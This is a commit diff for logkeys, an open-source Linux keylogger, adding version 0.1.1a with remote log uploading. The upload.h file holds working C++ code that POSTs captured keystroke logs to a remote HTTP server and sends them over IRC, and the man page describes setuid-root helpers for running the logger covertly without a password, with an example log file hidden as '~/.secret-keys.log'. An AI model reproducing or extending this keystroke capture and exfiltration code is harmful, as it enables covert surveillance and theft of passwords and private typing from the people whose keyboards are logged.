Commit 0861ec38 authored by kernc's avatar kernc

Implemented HTTP log POSTing and IRC posting, which is undocumented as it...

Implemented HTTP log POSTing and IRC posting, which is undocumented as it doesn't work. This is also a 0.1.1a release.

git-svn-id: https://logkeys.googlecode.com/svn/trunk@43 c501e62c-e7d1-11de-a198-37193048d1ed
parent 2ec46c01
......@@ -13,3 +13,7 @@
0. You just DO WHAT THE FUCK YOU WANT TO.
=====================================================================
If above license terms aren't acceptable to you, consider the project
licensed under GNU GPLv3+.
v0.1.1 (?)
v0.1.1a (2010-05-31)
* fixed 100% CPU issue on x64
* various other bug fixes
* removed pgrep dependency
......@@ -6,6 +6,7 @@ v0.1.1 (?)
* symlink attack vulnerability fixes
* other security fixes
* code refactoring
* remote log uploading via HTTP
* bug fixes
v0.1.0 (2010-01-05)
......
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
......@@ -255,7 +255,7 @@ distclean-hdr:
# (which will cause the Makefiles to be regenerated when you run `make');
# (2) otherwise, pass the desired values on the `make' command line.
$(RECURSIVE_TARGETS):
@failcom='exit 1'; \
@fail= failcom='exit 1'; \
for f in x $$MAKEFLAGS; do \
case $$f in \
*=* | --[!k]*);; \
......@@ -280,7 +280,7 @@ $(RECURSIVE_TARGETS):
fi; test -z "$$fail"
$(RECURSIVE_CLEAN_TARGETS):
@failcom='exit 1'; \
@fail= failcom='exit 1'; \
for f in x $$MAKEFLAGS; do \
case $$f in \
*=* | --[!k]*);; \
......@@ -444,7 +444,8 @@ distdir: $(DISTFILES)
fi; \
done
-test -n "$(am__skip_mode_fix)" \
|| find "$(distdir)" -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
|| find "$(distdir)" -type d ! -perm -755 \
-exec chmod u+rwx,go+rx {} \; -o \
! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
! -type d ! -perm -400 -exec chmod a+r {} \; -o \
! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
......@@ -488,17 +489,17 @@ dist dist-all: distdir
distcheck: dist
case '$(DIST_ARCHIVES)' in \
*.tar.gz*) \
GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\
*.tar.bz2*) \
bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\
*.tar.lzma*) \
unlzma -c $(distdir).tar.lzma | $(am__untar) ;;\
lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\
*.tar.xz*) \
xz -dc $(distdir).tar.xz | $(am__untar) ;;\
*.tar.Z*) \
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
*.shar.gz*) \
GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\
*.zip*) \
unzip $(distdir).zip ;;\
esac
......
-> Add support for sending logs via mail or POSTing them to remote server.
-> Add support for sending logs via mail or POSTing them to remote server
-> Also log title of the focused window
-> Add support for mouse events (i.e. on mouse click the focus may have changed).
-> Extract clipboard contents
-> Add support for mouse events (i.e. on mouse click the focus may have changed)
# generated automatically by aclocal 1.11 -*- Autoconf -*-
# generated automatically by aclocal 1.11.1 -*- Autoconf -*-
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
# 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
......@@ -13,8 +13,8 @@
m4_ifndef([AC_AUTOCONF_VERSION],
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.64],,
[m4_warning([this file was generated for autoconf 2.64.
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],,
[m4_warning([this file was generated for autoconf 2.65.
You have another version of autoconf. It may work, but is not guaranteed to.
If you have problems, you may need to regenerate the build system entirely.
To do so, use the procedure documented by the package, typically `autoreconf'.])])
......@@ -34,7 +34,7 @@ AC_DEFUN([AM_AUTOMAKE_VERSION],
[am__api_version='1.11'
dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
dnl require some minimum version. Point them to the right macro.
m4_if([$1], [1.11], [],
m4_if([$1], [1.11.1], [],
[AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
])
......@@ -50,7 +50,7 @@ m4_define([_AM_AUTOCONF_VERSION], [])
# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
# This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
[AM_AUTOMAKE_VERSION([1.11])dnl
[AM_AUTOMAKE_VERSION([1.11.1])dnl
m4_ifndef([AC_AUTOCONF_VERSION],
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
......
This diff is collapsed.
......@@ -2,7 +2,7 @@
# Process this file with autoconf to produce a configure script.
AC_PREREQ(2.64)
AC_INIT([logkeys],[0.1.0],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
AC_INIT([logkeys],[0.1.1a],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
AC_CONFIG_SRCDIR([src/logkeys.cc])
AM_INIT_AUTOMAKE([-Wall foreign])
AC_CONFIG_HEADERS([config.h])
......
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
......
.TH logkeys 8 2009-12-13
.TH logkeys 8 2010-05-25
.SH NAME
logkeys \- a GNU/Linux keylogger that works!
.SH SYNOPSIS
.B logkeys
\fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] [\fB--no-func-keys\fR]
.B logkeys \fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR]
.br
.B logkeys
\fB-k\fR
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
.br
.B logkeys
[\fB--export-keymap=\fIkeymap\fR]
[\fB--post-size=\fISIZE\fR] [\fB--post-http=\fIURL\fR]
.br
.B logkeys \fB-k\fR
.br
.B logkeys [\fB--export-keymap=\fIkeymap\fR]
.SH DESCRIPTION
logkeys is a linux keylogger. It is no more advanced than other available linux
keyloggers, notably \fBlkl\fR and \fBuberkey\fR, but is a bit newer, more up to date, it
......@@ -27,14 +30,19 @@ Two helper \fBsetuid root\fR programs are shipped with logkeys. \fIllk\fR, which
Because llk and llkk are installed setuid root, you can edit the two .sh scripts
(mostly just logkeys-start.sh) to your preference, then issue logkeys via llk whenever
you have to run it covertly (e.g. when you don't want to su to root or type sudo password).
.SH OPTIONS
Non-optional arguments are required for short options too.
.TP
\fB-s\fR, \fB-\-start\fR
Starts the keylogging daemon process.
.TP
\fB-k\fR, \fB-\-kill\fR
Terminates the running logkeys process.
.TP
\fB-o\fR, \fB-\-output\fR=\fIlogfile\fR
Set ouput log file to \fIlogfile\fR. If no \fB-o\fR option is provided, logkeys
......@@ -42,6 +50,7 @@ appends to \fI/var/log/logkeys.log\fR file. If \fIlogfile\fR doesn't exist, logk
creates the file with 600 permissions.
.IP
See also \fBLOGFILE FORMAT\fR section.
.TP
\fB-m\fR, \fB-\-keymap\fR=\fIkeymap\fR
Use file \fIkeymap\fR as input keymap for processing pressed keys.
......@@ -52,16 +61,19 @@ previously exported by \fB--export-keymap\fR.
See also \fBKEYMAP FORMAT\fR section.
.IP
\fB-m\fR and \fB-u\fR option are mutually exclusive.
.TP
\fB-d\fR, \fB-\-device\fR=\fIdevice\fR
Use \fIdevice\fR as keyboard input event device instead of \fI/dev/input/eventX\fR default.
.IP
You can determine the keyboard device to be used by examining \fI/proc/bus/input/devices\fR.
.TP
\fB-u\fR, \fB-\-us-keymap\fR
This option makes logkeys interpret keys as on standard US keyboard.
.IP
\fB-u\fR and \fB-m\fR option are mutually exclusive.
.TP
\fB-\-export-keymap\fR=\fIkeymap\fR
This option makes logkeys export dynamic keymap as obtained from \fIdumpkeys\fR(1)
......@@ -75,6 +87,7 @@ as complete deficient entries. It is also advised that you use \fB-\-export-keym
on a virtual terminal outside of X (\fI/dev/ttyX\fR).
.IP
See section \fBKEYMAP FORMAT\fR for exported keymap format.
.TP
\fB-\-no-func-keys\fR
This option makes logkeys log all and only character key presses
......@@ -83,10 +96,42 @@ This option makes logkeys log all and only character key presses
This option may be useful when correct \fIkeymap\fR can reliably be
expected (i.e. by providing it with \fB-m\fR option). Then only character keys are
logged, influenced by Shift and AltGr modifiers.
.TP
\fB-\-no-timestamps\fR
When this option is set, logkeys doesn't prepend timestamp to each line of log file.
Timestamps are only logged when logkeys starts and stops.
.TP
\fB-\-post-size=\fISIZE\fR
When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR,
where X is ascending number (e.g. \fIlogfile.1\fR).
.IP
When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR
files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options.
.IP
If \fB--post-size\fR is set, but no post method is set (i.e. neither \fB--post-http\fR
nor \fB--post-irc\fR), then the logfile is only truncated when it reaches
\fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank logfile is created for
active logging.
.IP
\fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes
or megabytes, respectively.
.TP
\fB-\-post-http=\fIURL\fR
This option tells logkeys to POST the log file to URL, where it is preferrably greeted
by a (PHP) script.
.IP
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES variable.
.SH FILES
.TP
\fB/var/log/logkeys.log\fR
When \fB-o\fR option is not used, logkeys appends to default log file.
.SH "LOGFILE FORMAT"
Log files are \fBUTF-8 encoded\fR.
.PP
......@@ -149,6 +194,8 @@ Logging stopped at 2009-12-11 09:58:54+0100
.PP
Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as
a single space character.
.SH "KEYMAP FORMAT"
The keymap file is expected to be \fBUTF-8 encoded\fR.
.PP
......@@ -188,6 +235,8 @@ left-to-right.
.PP
If you create full and completely valid keymap for your particular language,
please upload it to project website or send it to me by e-mail. Thanks.
.SH EXAMPLES
To print short help:
.IP
......@@ -211,8 +260,6 @@ $ logkeys --start --keymap my_keymap
.PP
To use a custom event device (e.g. /dev/input/event4):
.IP
$ logkeys --start --device /dev/input/event4 # or just
.br
$ logkeys --start --device event4
.PP
To end running logkeys process:
......@@ -221,6 +268,8 @@ $ logkeys --kill
.PP
After \fIetc/logkeys-start.sh\fR is updated to one's liking, helper programs \fIbin/llk\fR (start) and
\fIbin/llkk\fR (kill) can be used as well.
.SH BUGS
logkeys relies on numeric output of \fIdumpkeys\fR(1), which \fIkeymaps\fR(5)
manual page specifically discourages as unportable.
......@@ -229,10 +278,10 @@ Be nice and hope nothing breaks.
.PP
If you come across any bugs, please report them on project website, issues page:
.IP
http://code.google.com/p/logkeys/issues
http://code.google.com/p/logkeys/issues/
.SH AUTHOR
.PP
logkeys was written by Kernc <kerncece+logkeys@gmail.com>.
logkeys was written by Kernc <kerncece+logkeys@gmail.com> with much help from the community.
.PP
You can always obtain the latest version and information at project website:
<http://code.google.com/p/logkeys/>.
#myconfdir=$(prefix)/etc
myconfdir=$(sysconfdir)
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
......@@ -158,8 +158,6 @@ target_alias = @target_alias@
top_build_prefix = @top_build_prefix@
top_builddir = @top_builddir@
top_srcdir = @top_srcdir@
#myconfdir=$(prefix)/etc
myconfdir = $(sysconfdir)
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh
all: all-am
......
......@@ -6,8 +6,8 @@ llk_SOURCES = llk.cc
llkk_SOURCES = llkk.cc
install-exec-hook:
chown root\: $(bindir)/llk
chmod u+s $(bindir)/llk
chown root\: $(bindir)/llkk
chmod u+s $(bindir)/llkk
chown root\: $(DESTDIR)$(bindir)/llk
chmod u+s $(DESTDIR)$(bindir)/llk
chown root\: $(DESTDIR)$(bindir)/llkk
chmod u+s $(DESTDIR)$(bindir)/llkk
\ No newline at end of file
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
......@@ -467,10 +467,10 @@ uninstall-am: uninstall-binPROGRAMS
install-exec-hook:
chown root\: $(bindir)/llk
chmod u+s $(bindir)/llk
chown root\: $(bindir)/llkk
chmod u+s $(bindir)/llkk
chown root\: $(DESTDIR)$(bindir)/llk
chmod u+s $(DESTDIR)$(bindir)/llk
chown root\: $(DESTDIR)$(bindir)/llkk
chmod u+s $(DESTDIR)$(bindir)/llkk
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.
......
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _ARGS_H_
#define _ARGS_H_
namespace logkeys {
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
char * http_url; // remote HTTP URL to POST log to, --post-http switch
char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
char * irc_server; // if --post-irc effective, this holds the IRC hostname
char * irc_port; // if --post-irc effective, this holds the IRC port number
off_t post_size; // post log file to remote when of size post_size, --post-size switch
int flags; // holds the following option flags
#define FLAG_EXPORT_KEYMAP 0b1 // export keymap obtained from dumpkeys, --export-keymap is used
#define FLAG_NO_FUNC_KEYS 0b10 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
#define FLAG_NO_TIMESTAMPS 0b100 // don't log timestamps, --no-timestamps switch
#define FLAG_POST_HTTP 0b1000 // post log to remote HTTP server, --post-http switch
#define FLAG_POST_IRC 0b10000 // post log to remote IRC server, --post-irc switch
#define FLAG_POST_SIZE 0b100000 // post log to remote HTTP or IRC server when log of size optarg, --post-size
} args = {0}; // default all args to 0x0
void process_command_line_arguments(int argc, char **argv)
{
int flags;
struct option long_options[] = {
{"start", no_argument, 0, 's'},
{"keymap", required_argument, 0, 'm'},
{"output", required_argument, 0, 'o'},
{"us-keymap", no_argument, 0, 'u'},
{"kill", no_argument, 0, 'k'},
{"device", required_argument, 0, 'd'},
{"help", no_argument, 0, '?'},
{"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP},
{"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS},
{"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS},
{"post-http", required_argument, &flags, FLAG_POST_HTTP},
{"post-irc", required_argument, &flags, FLAG_POST_IRC},
{"post-size", required_argument, &flags, FLAG_POST_SIZE},
{0}
};
char c;
int option_index;
while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1)
{
switch (c)
{
case 's': args.start = true; break;
case 'm': args.keymap = optarg; break;
case 'o': args.logfile = optarg; break;
case 'u': args.us_keymap = true; break;
case 'k': args.kill = true; break;
case 'd': args.device = optarg; break;
case 0 :
args.flags |= flags;
switch (flags)
{
case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break;
case FLAG_POST_HTTP:
if (strncmp(optarg, "http://", 7) != 0)
error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\"");
args.http_url = optarg;
break;
case FLAG_POST_IRC: {
// optarg string should be like "entity@server:port", now dissect it
char *main_sep = strrchr(optarg, '@');
char *port_sep = strrchr(optarg, ':');
if (main_sep == NULL || port_sep == NULL)
error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!");
*main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg
*port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1
args.irc_entity = optarg;
args.irc_server = main_sep + 1;
args.irc_port = port_sep + 1;
break;
}
case FLAG_POST_SIZE:
args.post_size = atoi(optarg);
switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes)
{
case 'K': case 'k': args.post_size *= 1000; break;
case 'M': case 'm': args.post_size *= 1000000; break;
}
}
break;
case '?': usage(); exit(EXIT_SUCCESS);
default : usage(); exit(EXIT_FAILURE);
}
} // while
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
}
} // namespace logkeys
#endif // _ARGS_H_
#ifndef _DEFAULT_KEYS_H_
#define _DEFAULT_KEYS_H_
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _KEYTABLES_H_
#define _KEYTABLES_H_
#include <cassert>
#include <linux/input.h>
......@@ -13,7 +21,7 @@ wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\
// TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international)
wchar_t func_keys[][8] = {
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
......@@ -91,4 +99,4 @@ inline int to_func_keys_index(unsigned int keycode)
} // namespace logkeys
#endif
#endif // _KEYTABLES_H_
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>
......
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#include <cstdlib>
#include <unistd.h>
......
This diff is collapsed.
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _UPLOAD_H_
#define _UPLOAD_H_
#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process
namespace logkeys {
int sendall(int sockfd, const char *buf, size_t len)
{
size_t total = 0;
int n = 0; // how many bytes we've sent
size_t bytesleft = len; // how many we have left to send
while(total < len) {
if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1)
break;
total += n;
bytesleft -= n;
}
return n == -1 ? -1 : 0; // return -1 on failure, 0 on success
}
int open_connection(const char *server, const char *port)
{
struct addrinfo *servinfo, *p; // servinfo will point to IP results
struct addrinfo hints = {0};
hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts
hints.ai_socktype = SOCK_STREAM; // we will use TCP stream
int status, sockfd;
if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0)
error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status));
// loop through the servinfo list and connect to the first connectable address
for (p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
continue;
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
continue;
}
break;
}
if (p == NULL) sockfd = -1; // if connecting failed, return -1
freeaddrinfo(servinfo); // free the servinfo linked-list
return sockfd;
}
char * read_socket(int sockfd)
{
#define STR_SIZE 1000000
static char str[STR_SIZE] = {0};
if (recv(sockfd, str, STR_SIZE, 0) == -1)
return NULL;
return str;
}
int sockfd;
bool isKilled = false;
void uploader_signal_handler(int signal)
{
isKilled = true;
close(sockfd);
}
void start_remote_upload()
{
int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (pid_fd == -1) {
error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'");
}
// catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully
struct sigaction act = {{0}};
act.sa_handler = uploader_signal_handler;
sigaction(SIGHUP, &act, NULL);
sigaction(SIGINT, &act, NULL);
sigaction(SIGTERM, &act, NULL);
#define MAX_FILES 1000
char successful[MAX_FILES] = {0}; // array holding results
int last_index; // determine how many logfiles.X are there
for (last_index = 1; last_index < MAX_FILES; ++last_index) {
std::stringstream filename;
filename << args.logfile << '.' << last_index;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
ifs.close();
}
--last_index; // logfile.last_index is the last one
// POST to remote HTTP server
if (args.http_url) {
std::string url = std::string(args.http_url);
std::string port = "80";
std::string host = url.substr(url.find("://") + 3);
std::string location = host.substr(host.find("/"));
host = host.substr(0, host.find("/"));
if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc")
port = host.substr(host.find(":") + 1);
host = host.substr(0, host.find(":"));
}
srand(time(NULL));
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
sockfd = open_connection(host.c_str(), port.c_str());
if (sockfd == -1) break;
std::string line, file_contents;
while(getline(ifs, line)) file_contents += line + "\n";
ifs.close();
std::stringstream boundary, postdata, obuf;
boundary << "---------------------------" << time(NULL) << rand() << rand();
postdata << "--" << boundary.str() << "\r\n" <<
"Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n"
"Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n";
obuf <<
"POST " << location << " HTTP/1.1\r\n"
"Host: " << host << "\r\n"
"User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n"
"Accept: */*\r\n"
"Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n"
"Content-Length: " << postdata.str().size() << "\r\n"
"\r\n" << postdata.str();
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
close(sockfd);
error(0, errno, "Error sending output");
break;
}
sleep(1);
if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0)
++successful[i - 1];
if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str());
close(sockfd);
}
}
// post to remote IRC server
if (args.irc_server && !isKilled) {
sockfd = open_connection(args.irc_server, args.irc_port);
if (sockfd == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)");
}
fprintf(stderr, "posting IRC...\n"); // debug
srand(time(NULL));
int random = rand() % 999999; // random 6 digits will be part of IRC nickname
std::stringstream obuf;
obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n"
"NICK lk" << random << "\r\n";
if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it
obuf << "JOIN " << args.irc_entity << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
for (int i = 1; i <= last_index && !isKilled; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
std::ifstream ifs(filename.str().c_str());
if (!ifs) break;
std::string line;
while (std::getline(ifs, line)) {
#define IRC_MAX_LINE_SIZE 400
while (line.size() > IRC_MAX_LINE_SIZE) {
obuf << "PRIVMSG " << args.irc_entity << " :"
<< line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
sleep(1);
line = line.substr(IRC_MAX_LINE_SIZE);
}
obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n";
if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) {
remove(UPLOADER_PID_FILE);
error(EXIT_FAILURE, errno, "Error sending output");
}
obuf.clear();
obuf.str("");
}
ifs.close();
sleep(1);
++successful[i - 1];
}
close(sockfd);
}
char successful_treshold = 0; // determine how many post methods were supposed to be used
if (args.http_url) ++successful_treshold;
if (args.irc_server) ++successful_treshold;
// remove all successfully uploaded files...
for (int i = 1, j = 1; i <= last_index; ++i) {
std::stringstream filename;
filename << args.logfile << '.' << i;
if (successful[i - 1] == successful_treshold) {
remove(filename.str().c_str());
}
else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+
std::stringstream target_name;
target_name << args.logfile << '.' << j;
rename(filename.str().c_str(), target_name.str().c_str());
++j;
}
}
close(pid_fd);
remove(UPLOADER_PID_FILE);
}
} // namespace logkeys
#endif // _UPLOAD_H_
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _USAGE_H_
#define _USAGE_H_
namespace logkeys {
void usage()
{
fprintf(stderr,
"Usage: logkeys [OPTION]...\n"
"Log depressed keyboard keys.\n"
"\n"
" -s, --start start logging keypresses\n"
" -m, --keymap=FILE use keymap FILE\n"
" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n"
" -u, --us-keymap use en_US keymap instead of configured default\n"
" -k, --kill kill running logkeys process\n"
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
" -?, --help print this help screen\n"
" --export-keymap=FILE export configured keymap to FILE and exit\n"
" --no-func-keys log only character keys\n"
" --no-timestamps don't prepend timestamps to log file lines\n"
" --post-http=URL POST log to URL as multipart/form-data file\n"
//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n"
" --post-size=SIZE post log file when size equals SIZE [500k]\n"
"\n"
"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n"
" logkeys -s -d event6\n"
" logkeys -k\n"
"\n"
"logkeys version: " PACKAGE_VERSION "\n"
"logkeys homepage: <http://code.google.com/p/logkeys/>\n"
);
}
} // namespace logkeys
#endif // _USAGE_H_
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment